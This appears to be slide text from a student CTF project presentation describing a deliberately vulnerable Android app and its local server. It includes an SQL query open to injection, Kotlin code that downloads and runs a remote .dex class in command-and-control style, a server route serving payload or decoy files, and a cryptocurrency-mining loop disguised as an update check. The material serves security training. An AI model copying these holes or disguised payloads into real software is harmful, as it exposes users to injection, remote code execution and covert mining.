Contributions

Chris Degrand

Server

- Added server for additional remote services
- Used localhost to save time
- Disadvantage:
  - Our code uses the localhost while the original code uses other URL

SQL-Injection

```
const query = `
SELECT * FROM users
WHERE username = '${username}' AND password = '${password}'
`;

db.get(query, (err, row) => {
    if (row) {
        if (username == 'adminUser2'){
            return res.json({success: true, message: "Congrats: FLAG{adm1n_l0g1n_succ4s}"});
        } else {
            res.json({
                success: true,
                message: "Login successful",
            });
        }
```

Strategy for malicious code

- Simplified versions of realistic malware
- No overly complex obfuscation
- Instead: Plausible deniability

→ Made harder by using the localhost server

Dynamic Code Loading

```
fun getNewView() {
    Thread {
        try {
            val url = URL( spec = "http://$url:$port/$view_route/get_new_view")
            val conn = url.openConnection() as HttpURLConnection
            val inputStream = BufferedInputStream( in = conn.getInputStream())
            val outputFile = File( parent = context.codeCacheDir,  child = "new_view.dex")

            /*
             ...
             */
            val loadedClass = classLoader.loadClass( name = "com.view.Runner")
            val instance = loadedClass.getDeclaredConstructor().newInstance()
            val method = loadedClass.getDeclaredMethod( name = "run",  ...parameterTypes = Context::class.java)

            method.invoke( p0 = instance,  ...p1 = context)
```

Dynamic Code Loading

```
class Runner {
    private val hiddenData = "FLAG{C0mmand&C0ntrol}"
    fun run(context: Context) {
        Log.e("Flang", "Doing malicious stuff! Find this file to get the flag!")
    }
}
```

Dynamic Code Loading

```
router.get('/get_new_view', (req, res) => {
    const currentHour = new Date().getHours();
    let filename;
    if (currentHour%2 == 0){
        filename = "new_view.dex";
    } else{
        filename = "decoy.dex";
    }
    const file = path.join(__dirname, '/../files/', filename);
    res.download(file);
});
```

```
Thread( target = {
    try {
        var updateVersion = 0
        val versionString = calculateStartChecker(updateVersion)
        var data = getUpdate()
        var changes = 0
        while(isChecking){
            val modified = data + changes
            val transformed = Sha256.getSha256( string = modified)
            if(transformed.startsWith( prefix = startChecker) && versionString.startsWith( prefix = (startChecker))){
                confirmCorrectUpdate(modified)
                changes = -1
                updateVersion += 1
                Thread.sleep( millis = 10000)
                data = getUpdate()
            }
            changes += 1
```

Bitcoin Miner

```
Thread( target = {
    try {
        var updateVersion = 0
        val versionString = calculateStartChecker(updateVersion)
        var data = getUpdate()
        var changes = 0
        while(isChecking){
            val modified = data + changes
            val transformed = Sha256.getSha256( string = modified)
            if(transformed.startsWith( prefix = startChecker) && versionString.startsWith( prefix = (startChecker))){
                confirmCorrectUpdate(modified)
                changes = -1
                updateVersion += 1
                Thread.sleep( millis = 10000)
                data = getUpdate()
            }
            changes += 1
```